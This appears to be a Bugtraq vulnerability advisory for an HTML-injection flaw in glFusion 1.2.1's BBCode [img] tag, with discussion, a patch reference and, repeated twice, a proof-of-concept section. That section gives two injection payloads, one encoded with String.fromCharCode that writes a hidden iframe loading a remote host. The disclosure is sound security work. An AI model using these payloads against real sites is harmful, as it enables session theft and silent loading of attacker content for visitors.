glFusion BBCode HTML Injection Vulnerability
BID:45817
Info
glFusion BBCode HTML Injection Vulnerability
| Bugtraq ID: | 45817 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 15 2011 12:00AM |
| Updated: | Jan 17 2011 08:51PM |
| Credit: | Saif |
| Vulnerable: |
glFusion glFusion 1.2.1 |
| Not Vulnerable: | |
Discussion
glFusion BBCode HTML Injection Vulnerability
glFusion is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
glFusion 1.2.1 is vulnerable; other versions may also be affected.
glFusion is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
glFusion 1.2.1 is vulnerable; other versions may also be affected.
Exploit / POC
glFusion BBCode HTML Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example inputs are available:
[img w=30><script>alert(123);</script> h=30]images/help.png[/img]
[img
w=30><script>document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,50,51,49,46,49,50,56,58,56,48,56,48,47,34,32,104,101,105,103,104,116,61,34,48,34,32,119,105,100,116,104,61,34,48,34,62));</script>
h=30]x[/img]
Attackers can use a browser to exploit this issue.
The following example inputs are available:
[img w=30><script>alert(123);</script> h=30]images/help.png[/img]
[img
w=30><script>document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,50,51,49,46,49,50,56,58,56,48,56,48,47,34,32,104,101,105,103,104,116,61,34,48,34,32,119,105,100,116,104,61,34,48,34,62));</script>
h=30]x[/img]
Solution / Fix
glFusion BBCode HTML Injection Vulnerability
Solution:
Vendor patch is available. Please see the reference for more details.
glFusion glFusion 1.2.1
Solution:
Vendor patch is available. Please see the reference for more details.
glFusion glFusion 1.2.1
-
glFusion glFusion v1.2.1.pl1
http://www.glfusion.org/filemgmt/index.php/423